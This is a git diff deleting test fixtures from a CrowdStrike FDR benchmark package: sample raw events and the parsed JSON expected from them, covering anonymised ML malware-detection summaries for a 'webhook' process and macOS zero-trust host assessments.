./run.sh","Tags":"SensorGroupingTags/aws-k8s-production","timestamp":"2023-04-06T05:38:50Z","FilePath":"/","UserName":"cherry","PatternDispositionFlags":{"BootupSafeguardEnabled":false,"QuarantineFile":false,"QuarantineMachine":false,"HandleOperationDowngraded":false,"Detect":false,"RegistryOperationBlocked":false,"KillParent":false,"Indicator":false,"FsOperationBlocked":false,"OperationBlocked":false,"SuspendParent":false,"SuspendProcess":false,"KillProcess":true,"ProcessBlocked":false,"BlockingUnsupportedOrDisabled":false,"PolicyDisabled":true,"KillActionFailed":false,"SensorOnly":false,"CriticalProcessDisabled":false,"KillSubProcess":false,"Rooting":false,"InddetMask":false},"EventUUID":"14688888888888888888888888888888","MD5String":"cf288888888888888888888888888888","SeverityName":"Medium","PatternDispositionDescription":"Detection, process would have been killed if related prevention policy setting was enabled.","Severity":"3","DetectId":"ldt:45bbbbbbbbbbbbbbbbbbbbbbbbbbbbbb:111111111","PatternDispositionValue":272,"ExternalApiType":"Event_DetectionSummaryEvent","SHA256String":"31a0333333333333333333333333333333333333333333333333333333333333","Nonce":1,"Objective":"Falcon Detection Method","CommandLine":"./webhook -verbosity=0 -port=8080 -cacheLimit=26000 -cacheTtl=7200 -maxClientConnsPerHost=5000 -maxDialsPerSecond=1800 -fakeMode=false -useMemoryLimit=true -memoryLimit=4096Mi -memoryLimitWarning=80 -memoryLimitCritical=90 -maxSurgeRPS=10000","MACAddress":"02-02-02-02-02-02","GrandparentCommandLine":"runc init","ProcessStartTime":1680759529,"ComputerName":"ip-172-18-63-230.ec2.internal","DetectName":"NGAV","AgentIdString":"45444444444444444444444444444444","IOCType":"hash_sha256","ProcessId":1680759529508885200,"Technique":"Sensor-based ML","AssociatedFile":"/webhook","cid":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"}
-{"aid":"11111111111111111111111111111111","cid":"22222222222222222222222222222222","hostname":"example-XXXXXXXXX","os_version":"Sonoma (14)","product_name":"","product_type_desc":"Workstation","host_hidden_status":"VISIBLE","event_platform":"Mac","scores":{"os":89,"sensor":100,"overall":97,"version":"3.8.1","modified_time":"2024-02-13T22:33:34.077075097Z"},"assessments":{"analytics_and_improvements_mac":"yes","application_firewall_mac":"yes","crendential_dumping_hash_mac":"yes","crendential_dumping_kcpassword_mac":"yes","crowdstrike_full_disk_access":"yes","execution_blocking_custom_blocking_enabled_mac":"yes","execution_blocking_intel_threats_enabled_mac":"yes","execution_blocking_suspicious_processes_enabled_mac":"yes","file_vault_enabled_mac":"yes","gatekeeper_mac":"yes","internet_sharing_mac":"yes","mac_os_version":"yes","ml_adware_detection_mac":"yes","ml_adware_prevention_mac":"yes","ml_cloud_antimalware_detection_mac":"yes","ml_cloud_antimalware_prevention_mac":"yes","ml_sensor_adware_and_pup_detection_mac":"yes","ml_sensor_adware_and_pup_prevention_mac":"yes","ml_sensor_antimalware_detection_mac":"yes","ml_sensor_antimalware_prevention_mac":"yes","quarantine_mac":"yes","real_time_response_enabled_mac":"yes","remote_login_mac":"yes","script_based_execution_monitoring_mac":"yes","sip_enabled_mac":"yes","stealth_mode_mac":"no","system_full_disk_access_mac":"no","unauthorized_remote_access_chopper_mac":"yes","unauthorized_remote_access_empyre_mac":"yes","unauthorized_remote_access_xpcom_mac":"yes"},"event_type":"ZeroTrustHostAssessment"}
-{"aid":"11111111111111111111111111111111","cid":"22222222222222222222222222222222","hostname":"example-XXXXXXXXX","os_version":"Sonoma (14)","product_name":"","product_type_desc":"Workstation","host_hidden_status":"VISIBLE","event_platform":"Mac","scores":{"os":"89","sensor":"100","overall":"97","version":"3.8.1","modified_time":"2024-02-13T22:33:34.077075097Z"},"assessments":{"analytics_and_improvements_mac":"yes","application_firewall_mac":"yes","crendential_dumping_hash_mac":"yes","crendential_dumping_kcpassword_mac":"yes","crowdstrike_full_disk_access":"yes","execution_blocking_custom_blocking_enabled_mac":"yes","execution_blocking_intel_threats_enabled_mac":"yes","execution_blocking_suspicious_processes_enabled_mac":"yes","file_vault_enabled_mac":"yes","gatekeeper_mac":"yes","internet_sharing_mac":"yes","mac_os_version":"yes","ml_adware_detection_mac":"yes","ml_adware_prevention_mac":"yes","ml_cloud_antimalware_detection_mac":"yes","ml_cloud_antimalware_prevention_mac":"yes","ml_sensor_adware_and_pup_detection_mac":"yes","ml_sensor_adware_and_pup_prevention_mac":"yes","ml_sensor_antimalware_detection_mac":"yes","ml_sensor_antimalware_prevention_mac":"yes","quarantine_mac":"yes","real_time_response_enabled_mac":"yes","remote_login_mac":"yes","script_based_execution_monitoring_mac":"yes","sip_enabled_mac":"yes","stealth_mode_mac":"no","system_full_disk_access_mac":"no","unauthorized_remote_access_chopper_mac":"yes","unauthorized_remote_access_empyre_mac":"yes","unauthorized_remote_access_xpcom_mac":"yes"},"event_type":"ZeroTrustHostAssessment","timestamp":"1601546312519"}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-data.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-data.log-expected.json
deleted file mode 100644
index 010b379125..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-data.log-expected.json
+++ /dev/null
@@ -1,487 +0,0 @@
-{
-    "expected": [
-        {
-            "@timestamp": "2023-04-06T05:38:50.000Z",
-            "crowdstrike": {
-                "AgentIdString": "45444444444444444444444444444444",
-                "AssociatedFile": "/webhook",
-                "CustomerIdString": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
-                "DetectDescription": "This file meets the machine learning-based on-sensor AV protection's medium confidence threshold for malicious files.",
-                "DetectId": "ldt:45bbbbbbbbbbbbbbbbbbbbbbbbbbbbbb:111111111",
-                "DetectName": "NGAV",
-                "EventType": "Event_ExternalApiEvent",
-                "EventUUID": "14688888888888888888888888888888",
-                "ExternalApiType": "Event_DetectionSummaryEvent",
-                "FalconHostLink": "https://falcon.us-2.crowdstrike.com/activity/detections/detail/bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb/111111111?_cid=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
-                "FileName": "webhook",
-                "FilePath": "/",
-                "GrandparentCommandLine": "runc init",
-                "GrandparentImageFileName": "/memfd:runc_cloned:/proc/self/exe (deleted)",
-                "HostGroups": "26666666666666666666666666666666",
-                "IOCType": "hash_sha256",
-                "IOCValue": "31a0f9b83d1cd121cef133333333333333333333333333333333333333333333",
-                "LocalIP": "172.17.0.1",
-                "MACAddress": "02-02-02-02-02-02",
-                "MD5String": "cf288888888888888888888888888888",
-                "Nonce": 1,
-                "Objective": "Falcon Detection Method",
-                "ParentCommandLine": "/bin/sh ./run.sh",
-                "ParentImageFileName": "/bin/busybox",
-                "PatternDispositionDescription": "Detection, process would have been killed if related prevention policy setting was enabled.",
-                "PatternDispositionFlags": {
-                    "BlockingUnsupportedOrDisabled": false,
-                    "BootupSafeguardEnabled": false,
-                    "CriticalProcessDisabled": false,
-                    "Detect": false,
-                    "FsOperationBlocked": false,
-                    "HandleOperationDowngraded": false,
-                    "InddetMask": false,
-                    "Indicator": false,
-                    "KillActionFailed": false,
-                    "KillParent": false,
-                    "KillProcess": true,
-                    "KillSubProcess": false,
-                    "OperationBlocked": false,
-                    "PolicyDisabled": true,
-                    "ProcessBlocked": false,
-                    "QuarantineFile": false,
-                    "QuarantineMachine": false,
-                    "RegistryOperationBlocked": false,
-                    "Rooting": false,
-                    "SensorOnly": false,
-                    "SuspendParent": false,
-                    "SuspendProcess": false
-                },
-                "PatternDispositionValue": 272,
-                "ProcessId": 1680759529508885200,
-                "SHA1String": "0000000000000000000000000000000000000000",
-                "SHA256String": "31a0333333333333333333333333333333333333333333333333333333333333",
-                "SensorId": "55555555555555555555555555555555",
-                "Severity": 3,
-                "SeverityName": "Medium",
-                "Tactic": "Machine Learning",
-                "Tags": [
-                    "SensorGroupingTags/aws-k8s-production"
-                ],
-                "Technique": "Sensor-based ML",
-                "cid": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
-                "eid": 118
-            },
-            "device": {
-                "id": "55555555555555555555555555555555"
-            },
-            "event": {
-                "created": "2023-04-06T05:38:50.000Z",
-                "id": "||aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
-                "original": "{\"eid\":118,\"SensorId\":\"55555555555555555555555555555555\",\"Tactic\":\"Machine Learning\",\"CustomerIdString\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\",\"EventType\":\"Event_ExternalApiEvent\",\"ParentProcessId\":1680759529306198500,\"FileName\":\"webhook\",\"UTCTimestamp\":1680759530000,\"FalconHostLink\":\"https://falcon.us-2.crowdstrike.com/activity/detections/detail/bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb/111111111?_cid=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\",\"ParentImageFileName\":\"/bin/busybox\",\"MachineDomain\":\"\",\"GrandparentImageFileName\":\"/memfd:runc_cloned:/proc/self/exe (deleted)\",\"HostGroups\":\"26666666666666666666666666666666\",\"OriginSourceIpAddress\":\"\",\"SHA1String\":\"0000000000000000000000000000000000000000\",\"ProcessEndTime\":0,\"IOCValue\":\"31a0f9b83d1cd121cef133333333333333333333333333333333333333333333\",\"LocalIP\":\"172.17.0.1\",\"DetectDescription\":\"This file meets the machine learning-based on-sensor AV protection's medium confidence threshold for malicious files.\",\"ParentCommandLine\":\"/bin/sh ./run.sh\",\"Tags\":\"SensorGroupingTags/aws-k8s-production\",\"timestamp\":\"2023-04-06T05:38:50Z\",\"FilePath\":\"/\",\"UserName\":\"cherry\",\"PatternDispositionFlags\":{\"BootupSafeguardEnabled\":false,\"QuarantineFile\":false,\"QuarantineMachine\":false,\"HandleOperationDowngraded\":false,\"Detect\":false,\"RegistryOperationBlocked\":false,\"KillParent\":false,\"Indicator\":false,\"FsOperationBlocked\":false,\"OperationBlocked\":false,\"SuspendParent\":false,\"SuspendProcess\":false,\"KillProcess\":true,\"ProcessBlocked\":false,\"BlockingUnsupportedOrDisabled\":false,\"PolicyDisabled\":true,\"KillActionFailed\":false,\"SensorOnly\":false,\"CriticalProcessDisabled\":false,\"KillSubProcess\":false,\"Rooting\":false,\"InddetMask\":false},\"EventUUID\":\"14688888888888888888888888888888\",\"MD5String\":\"cf288888888888888888888888888888\",\"SeverityName\":\"Medium\",\"PatternDispositionDescription\":\"Detection, process would have been killed if related prevention policy setting was enabled.\",\"Severity\":3,\"DetectId\":\"ldt:45bbbbbbbbbbbbbbbbbbbbbbbbbbbbbb:111111111\",\"PatternDispositionValue\":272,\"ExternalApiType\":\"Event_DetectionSummaryEvent\",\"SHA256String\":\"31a0333333333333333333333333333333333333333333333333333333333333\",\"Nonce\":1,\"Objective\":\"Falcon Detection Method\",\"CommandLine\":\"./webhook -verbosity=0 -port=8080 -cacheLimit=26000 -cacheTtl=7200 -maxClientConnsPerHost=5000 -maxDialsPerSecond=1800 -fakeMode=false -useMemoryLimit=true -memoryLimit=4096Mi -memoryLimitWarning=80 -memoryLimitCritical=90 -maxSurgeRPS=10000\",\"MACAddress\":\"02-02-02-02-02-02\",\"GrandparentCommandLine\":\"runc init\",\"ProcessStartTime\":1680759529,\"ComputerName\":\"ip-172-18-63-230.ec2.internal\",\"DetectName\":\"NGAV\",\"AgentIdString\":\"45444444444444444444444444444444\",\"IOCType\":\"hash_sha256\",\"ProcessId\":1680759529508885200,\"Technique\":\"Sensor-based ML\",\"AssociatedFile\":\"/webhook\",\"cid\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\"}",
-                "severity": 47
-            },
-            "host": {
-                "hostname": "ip-172-18-63-230.ec2.internal",
-                "name": "ip-172-18-63-230.ec2.internal"
-            },
-            "process": {
-                "command_line": "./webhook -verbosity=0 -port=8080 -cacheLimit=26000 -cacheTtl=7200 -maxClientConnsPerHost=5000 -maxDialsPerSecond=1800 -fakeMode=false -useMemoryLimit=true -memoryLimit=4096Mi -memoryLimitWarning=80 -memoryLimitCritical=90 -maxSurgeRPS=10000",
-                "end": "1970-01-01T00:00:00.000Z",
-                "parent": {
-                    "entity_id": "1680759529306198500"
-                },
-                "start": "2023-04-06T05:38:49.000Z"
-            },
-            "related": {
-                "hosts": [
-                    "ip-172-18-63-230.ec2.internal"
-                ],
-                "ip": [
-                    "172.17.0.1"
-                ],
-                "user": [
-                    "cherry"
-                ]
-            },
-            "source": {
-                "address": "172.17.0.1",
-                "ip": "172.17.0.1"
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "name": "cherry"
-            }
-        },
-        {
-            "@timestamp": "2023-04-05T01:52:00.000Z",
-            "crowdstrike": {
-                "AgentIdString": "45444444444444444444444444444444",
-                "AssociatedFile": "/webhook",
-                "CustomerIdString": "bbbbbbb",
-                "DetectDescription": "This file meets the machine learning-based on-sensor AV protection's medium confidence threshold for malicious files.",
-                "DetectId": "ldt:45bbbbbbbbbbbbbbbbbbbbbbbbbbbbbb:111111111",
-                "DetectName": "NGAV",
-                "EventType": "Event_ExternalApiEvent",
-                "EventUUID": "14688888888888888888888888888888",
-                "ExternalApiType": "Event_DetectionSummaryEvent",
-                "FalconHostLink": "https://falcon.us-2.crowdstrike.com/activity/detections/detail/bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb/111111111?_cid=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
-                "FileName": "webhook",
-                "FilePath": "/",
-                "GrandparentCommandLine": "runc init",
-                "GrandparentImageFileName": "/memfd:runc_cloned:/proc/self/exe (deleted)",
-                "HostGroups": "26666666666666666666666666666666",
-                "IOCType": "hash_sha256",
-                "IOCValue": "31a0f9b83d1cd121cef133333333333333333333333333333333333333333333",
-                "LocalIP": "172.17.0.1",
-                "MACAddress": "02-02-02-02-02-02",
-                "MD5String": "cf288888888888888888888888888888",
-                "Nonce": 1,
-                "Objective": "Falcon Detection Method",
-                "ParentCommandLine": "/bin/sh ./run.sh",
-                "ParentImageFileName": "/bin/busybox",
-                "PatternDispositionDescription": "Detection, process would have been killed if related prevention policy setting was enabled.",
-                "PatternDispositionFlags": {
-                    "BlockingUnsupportedOrDisabled": false,
-                    "BootupSafeguardEnabled": false,
-                    "CriticalProcessDisabled": false,
-                    "Detect": false,
-                    "FsOperationBlocked": false,
-                    "HandleOperationDowngraded": false,
-                    "InddetMask": false,
-                    "Indicator": false,
-                    "KillActionFailed": false,
-                    "KillParent": false,
-                    "KillProcess": true,
-                    "KillSubProcess": false,
-                    "OperationBlocked": false,
-                    "PolicyDisabled": true,
-                    "ProcessBlocked": false,
-                    "QuarantineFile": false,
-                    "QuarantineMachine": false,
-                    "RegistryOperationBlocked": false,
-                    "Rooting": false,
-                    "SensorOnly": false,
-                    "SuspendParent": false,
-                    "SuspendProcess": false
-                },
-                "PatternDispositionValue": 272,
-                "ProcessId": 1680759529508885200,
-                "SHA1String": "0000000000000000000000000000000000000000",
-                "SHA256String": "31a0333333333333333333333333333333333333333333333333333333333333",
-                "SensorId": "666666666",
-                "Severity": 3,
-                "SeverityName": "Medium",
-                "Tactic": "Machine Learning",
-                "Tags": [
-                    "SensorGroupingTags/aws-k8s-production"
-                ],
-                "Technique": "Sensor-based ML",
-                "cid": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
-                "eid": 119
-            },
-            "device": {
-                "id": "666666666"
-            },
-            "event": {
-                "created": "2023-04-05T01:52:00.000Z",
-                "id": "||aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
-                "original": "{\"eid\":119,\"SensorId\":\"666666666\",\"Tactic\":\"Machine Learning\",\"CustomerIdString\":\"bbbbbbb\",\"EventType\":\"Event_ExternalApiEvent\",\"ParentProcessId\":1680759529306198500,\"FileName\":\"webhook\",\"UTCTimestamp\":1680659520000,\"FalconHostLink\":\"https://falcon.us-2.crowdstrike.com/activity/detections/detail/bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb/111111111?_cid=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\",\"ParentImageFileName\":\"/bin/busybox\",\"MachineDomain\":\"\",\"GrandparentImageFileName\":\"/memfd:runc_cloned:/proc/self/exe (deleted)\",\"HostGroups\":\"26666666666666666666666666666666\",\"OriginSourceIpAddress\":\"\",\"SHA1String\":\"0000000000000000000000000000000000000000\",\"ProcessEndTime\":1680769672,\"IOCValue\":\"31a0f9b83d1cd121cef133333333333333333333333333333333333333333333\",\"LocalIP\":\"172.17.0.1\",\"DetectDescription\":\"This file meets the machine learning-based on-sensor AV protection's medium confidence threshold for malicious files.\",\"ParentCommandLine\":\"/bin/sh ./run.sh\",\"Tags\":\"SensorGroupingTags/aws-k8s-production\",\"timestamp\":\"2023-04-06T05:38:50Z\",\"FilePath\":\"/\",\"UserName\":\"cherry\",\"PatternDispositionFlags\":{\"BootupSafeguardEnabled\":false,\"QuarantineFile\":false,\"QuarantineMachine\":false,\"HandleOperationDowngraded\":false,\"Detect\":false,\"RegistryOperationBlocked\":false,\"KillParent\":false,\"Indicator\":false,\"FsOperationBlocked\":false,\"OperationBlocked\":false,\"SuspendParent\":false,\"SuspendProcess\":false,\"KillProcess\":true,\"ProcessBlocked\":false,\"BlockingUnsupportedOrDisabled\":false,\"PolicyDisabled\":true,\"KillActionFailed\":false,\"SensorOnly\":false,\"CriticalProcessDisabled\":false,\"KillSubProcess\":false,\"Rooting\":false,\"InddetMask\":false},\"EventUUID\":\"14688888888888888888888888888888\",\"MD5String\":\"cf288888888888888888888888888888\",\"SeverityName\":\"Medium\",\"PatternDispositionDescription\":\"Detection, process would have been killed if related prevention policy setting was enabled.\",\"Severity\":3,\"DetectId\":\"ldt:45bbbbbbbbbbbbbbbbbbbbbbbbbbbbbb:111111111\",\"PatternDispositionValue\":272,\"ExternalApiType\":\"Event_DetectionSummaryEvent\",\"SHA256String\":\"31a0333333333333333333333333333333333333333333333333333333333333\",\"Nonce\":1,\"Objective\":\"Falcon Detection Method\",\"CommandLine\":\"./webhook -verbosity=0 -port=8080 -cacheLimit=26000 -cacheTtl=7200 -maxClientConnsPerHost=5000 -maxDialsPerSecond=1800 -fakeMode=false -useMemoryLimit=true -memoryLimit=4096Mi -memoryLimitWarning=80 -memoryLimitCritical=90 -maxSurgeRPS=10000\",\"MACAddress\":\"02-02-02-02-02-02\",\"GrandparentCommandLine\":\"runc init\",\"ProcessStartTime\":1680759529,\"ComputerName\":\"ip-172-18-63-230.ec2.internal\",\"DetectName\":\"NGAV\",\"AgentIdString\":\"45444444444444444444444444444444\",\"IOCType\":\"hash_sha256\",\"ProcessId\":1680759529508885200,\"Technique\":\"Sensor-based ML\",\"AssociatedFile\":\"/webhook\",\"cid\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\"}",
-                "severity": 47
-            },
-            "host": {
-                "hostname": "ip-172-18-63-230.ec2.internal",
-                "name": "ip-172-18-63-230.ec2.internal"
-            },
-            "process": {
-                "command_line": "./webhook -verbosity=0 -port=8080 -cacheLimit=26000 -cacheTtl=7200 -maxClientConnsPerHost=5000 -maxDialsPerSecond=1800 -fakeMode=false -useMemoryLimit=true -memoryLimit=4096Mi -memoryLimitWarning=80 -memoryLimitCritical=90 -maxSurgeRPS=10000",
-                "end": "2023-04-06T08:27:52.000Z",
-                "parent": {
-                    "entity_id": "1680759529306198500"
-                },
-                "start": "2023-04-06T05:38:49.000Z",
-                "uptime": 10
-            },
-            "related": {
-                "hosts": [
-                    "ip-172-18-63-230.ec2.internal"
-                ],
-                "ip": [
-                    "172.17.0.1"
-                ],
-                "user": [
-                    "cherry"
-                ]
-            },
-            "source": {
-                "address": "172.17.0.1",
-                "ip": "172.17.0.1"
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "name": "cherry"
-            }
-        },
-        {
-            "@timestamp": "2023-04-05T01:52:00.000Z",
-            "crowdstrike": {
-                "AgentIdString": "45444444444444444444444444444444",
-                "AssociatedFile": "/webhook",
-                "CustomerIdString": "bbbbbbb",
-                "DetectDescription": "This file meets the machine learning-based on-sensor AV protection's medium confidence threshold for malicious files.",
-                "DetectId": "ldt:45bbbbbbbbbbbbbbbbbbbbbbbbbbbbbb:111111111",
-                "DetectName": "NGAV",
-                "EventType": "Event_ExternalApiEvent",
-                "EventUUID": "14688888888888888888888888888888",
-                "ExternalApiType": "Event_DetectionSummaryEvent",
-                "FalconHostLink": "https://falcon.us-2.crowdstrike.com/activity/detections/detail/bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb/111111111?_cid=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
-                "FileName": "webhook",
-                "FilePath": "/",
-                "GrandparentCommandLine": "runc init",
-                "GrandparentImageFileName": "/memfd:runc_cloned:/proc/self/exe (deleted)",
-                "HostGroups": "26666666666666666666666666666666",
-                "IOCType": "hash_sha256",
-                "IOCValue": "31a0f9b83d1cd121cef133333333333333333333333333333333333333333333",
-                "LocalIP": "172.17.0.1",
-                "MACAddress": "02-02-02-02-02-02",
-                "MD5String": "cf288888888888888888888888888888",
-                "Nonce": 1,
-                "Objective": "Falcon Detection Method",
-                "ParentCommandLine": "/bin/sh ./run.sh",
-                "ParentImageFileName": "/bin/busybox",
-                "PatternDispositionDescription": "Detection, process would have been killed if related prevention policy setting was enabled.",
-                "PatternDispositionFlags": {
-                    "BlockingUnsupportedOrDisabled": false,
-                    "BootupSafeguardEnabled": false,
-                    "CriticalProcessDisabled": false,
-                    "Detect": false,
-                    "FsOperationBlocked": false,
-                    "HandleOperationDowngraded": false,
-                    "InddetMask": false,
-                    "Indicator": false,
-                    "KillActionFailed": false,
-                    "KillParent": false,
-                    "KillProcess": true,
-                    "KillSubProcess": false,
-                    "OperationBlocked": false,
-                    "PolicyDisabled": true,
-                    "ProcessBlocked": false,
-                    "QuarantineFile": false,
-                    "QuarantineMachine": false,
-                    "RegistryOperationBlocked": false,
-                    "Rooting": false,
-                    "SensorOnly": false,
-                    "SuspendParent": false,
-                    "SuspendProcess": false
-                },
-                "PatternDispositionValue": 272,
-                "ProcessId": 1680759529508885200,
-                "SHA1String": "0000000000000000000000000000000000000000",
-                "SHA256String": "31a0333333333333333333333333333333333333333333333333333333333333",
-                "SensorId": "666666666",
-                "Severity": "3",
-                "SeverityName": "Medium",
-                "Tactic": "Machine Learning",
-                "Tags": [
-                    "SensorGroupingTags/aws-k8s-production"
-                ],
-                "Technique": "Sensor-based ML",
-                "cid": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
-                "eid": 119
-            },
-            "device": {
-                "id": "666666666"
-            },
-            "event": {
-                "created": "2023-04-05T01:52:00.000Z",
-                "id": "||aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
-                "original": "{\"eid\":119,\"SensorId\":\"666666666\",\"Tactic\":\"Machine Learning\",\"CustomerIdString\":\"bbbbbbb\",\"EventType\":\"Event_ExternalApiEvent\",\"ParentProcessId\":1680759529306198500,\"FileName\":\"webhook\",\"UTCTimestamp\":1680659520000,\"FalconHostLink\":\"https://falcon.us-2.crowdstrike.com/activity/detections/detail/bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb/111111111?_cid=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\",\"ParentImageFileName\":\"/bin/busybox\",\"MachineDomain\":\"\",\"GrandparentImageFileName\":\"/memfd:runc_cloned:/proc/self/exe (deleted)\",\"HostGroups\":\"26666666666666666666666666666666\",\"OriginSourceIpAddress\":\"\",\"SHA1String\":\"0000000000000000000000000000000000000000\",\"ProcessEndTime\":1680769672,\"IOCValue\":\"31a0f9b83d1cd121cef133333333333333333333333333333333333333333333\",\"LocalIP\":\"172.17.0.1\",\"DetectDescription\":\"This file meets the machine learning-based on-sensor AV protection's medium confidence threshold for malicious files.\",\"ParentCommandLine\":\"/bin/sh ./run.sh\",\"Tags\":\"SensorGroupingTags/aws-k8s-production\",\"timestamp\":\"2023-04-06T05:38:50Z\",\"FilePath\":\"/\",\"UserName\":\"cherry\",\"PatternDispositionFlags\":{\"BootupSafeguardEnabled\":false,\"QuarantineFile\":false,\"QuarantineMachine\":false,\"HandleOperationDowngraded\":false,\"Detect\":false,\"RegistryOperationBlocked\":false,\"KillParent\":false,\"Indicator\":false,\"FsOperationBlocked\":false,\"OperationBlocked\":false,\"SuspendParent\":false,\"SuspendProcess\":false,\"KillProcess\":true,\"ProcessBlocked\":false,\"BlockingUnsupportedOrDisabled\":false,\"PolicyDisabled\":true,\"KillActionFailed\":false,\"SensorOnly\":false,\"CriticalProcessDisabled\":false,\"KillSubProcess\":false,\"Rooting\":false,\"InddetMask\":false},\"EventUUID\":\"14688888888888888888888888888888\",\"MD5String\":\"cf288888888888888888888888888888\",\"SeverityName\":\"Medium\",\"PatternDispositionDescription\":\"Detection, process would have been killed if related prevention policy setting was enabled.\",\"Severity\":\"3\",\"DetectId\":\"ldt:45bbbbbbbbbbbbbbbbbbbbbbbbbbbbbb:111111111\",\"PatternDispositionValue\":272,\"ExternalApiType\":\"Event_DetectionSummaryEvent\",\"SHA256String\":\"31a0333333333333333333333333333333333333333333333333333333333333\",\"Nonce\":1,\"Objective\":\"Falcon Detection Method\",\"CommandLine\":\"./webhook -verbosity=0 -port=8080 -cacheLimit=26000 -cacheTtl=7200 -maxClientConnsPerHost=5000 -maxDialsPerSecond=1800 -fakeMode=false -useMemoryLimit=true -memoryLimit=4096Mi -memoryLimitWarning=80 -memoryLimitCritical=90 -maxSurgeRPS=10000\",\"MACAddress\":\"02-02-02-02-02-02\",\"GrandparentCommandLine\":\"runc init\",\"ProcessStartTime\":1680759529,\"ComputerName\":\"ip-172-18-63-230.ec2.internal\",\"DetectName\":\"NGAV\",\"AgentIdString\":\"45444444444444444444444444444444\",\"IOCType\":\"hash_sha256\",\"ProcessId\":1680759529508885200,\"Technique\":\"Sensor-based ML\",\"AssociatedFile\":\"/webhook\",\"cid\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\"}",
-                "severity": 47
-            },
-            "host": {
-                "hostname": "ip-172-18-63-230.ec2.internal",
-                "name": "ip-172-18-63-230.ec2.internal"
-            },
-            "process": {
-                "command_line": "./webhook -verbosity=0 -port=8080 -cacheLimit=26000 -cacheTtl=7200 -maxClientConnsPerHost=5000 -maxDialsPerSecond=1800 -fakeMode=false -useMemoryLimit=true -memoryLimit=4096Mi -memoryLimitWarning=80 -memoryLimitCritical=90 -maxSurgeRPS=10000",
-                "end": "2023-04-06T08:27:52.000Z",
-                "parent": {
-                    "entity_id": "1680759529306198500"
-                },
-                "start": "2023-04-06T05:38:49.000Z",
-                "uptime": 10
-            },
-            "related": {
-                "hosts": [
-                    "ip-172-18-63-230.ec2.internal"
-                ],
-                "ip": [
-                    "172.17.0.1"
-                ],
-                "user": [
-                    "cherry"
-                ]
-            },
-            "source": {
-                "address": "172.17.0.1",
-                "ip": "172.17.0.1"
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "name": "cherry"
-            }
-        },
-        {
-            "@timestamp": "2020-04-28T11:07:58.223Z",
-            "crowdstrike": {
-                "EventType": "ZeroTrustHostAssessment",
-                "HostHiddenStatus": "VISIBLE",
-                "assessments": {
-                    "analytics_and_improvements_mac": "yes",
-                    "application_firewall_mac": "yes",
-                    "crendential_dumping_hash_mac": "yes",
-                    "crendential_dumping_kcpassword_mac": "yes",
-                    "crowdstrike_full_disk_access": "yes",
-                    "execution_blocking_custom_blocking_enabled_mac": "yes",
-                    "execution_blocking_intel_threats_enabled_mac": "yes",
-                    "execution_blocking_suspicious_processes_enabled_mac": "yes",
-                    "file_vault_enabled_mac": "yes",
-                    "gatekeeper_mac": "yes",
-                    "internet_sharing_mac": "yes",
-                    "mac_os_version": "yes",
-                    "ml_adware_detection_mac": "yes",
-                    "ml_adware_prevention_mac": "yes",
-                    "ml_cloud_antimalware_detection_mac": "yes",
-                    "ml_cloud_antimalware_prevention_mac": "yes",
-                    "ml_sensor_adware_and_pup_detection_mac": "yes",
-                    "ml_sensor_adware_and_pup_prevention_mac": "yes",
-                    "ml_sensor_antimalware_detection_mac": "yes",
-                    "ml_sensor_antimalware_prevention_mac": "yes",
-                    "quarantine_mac": "yes",
-                    "real_time_response_enabled_mac": "yes",
-                    "remote_login_mac": "yes",
-                    "script_based_execution_monitoring_mac": "yes",
-                    "sip_enabled_mac": "yes",
-                    "stealth_mode_mac": "no",
-                    "system_full_disk_access_mac": "no",
-                    "unauthorized_remote_access_chopper_mac": "yes",
-                    "unauthorized_remote_access_empyre_mac": "yes",
-                    "unauthorized_remote_access_xpcom_mac": "yes"
-                },
-                "cid": "22222222222222222222222222222222",
-                "os_version": "Sonoma (14)",
-                "product_type_desc": "Workstation",
-                "scores": {
-                    "modified_time": "2024-02-13T22:33:34.077Z",
-                    "os": 89,
-                    "overall": 97,
-                    "sensor": 100,
-                    "version": "3.8.1"
-                }
-            },
-            "device": {
-                "id": "11111111111111111111111111111111"
-            },
-            "event": {
-                "id": "|11111111111111111111111111111111|22222222222222222222222222222222",
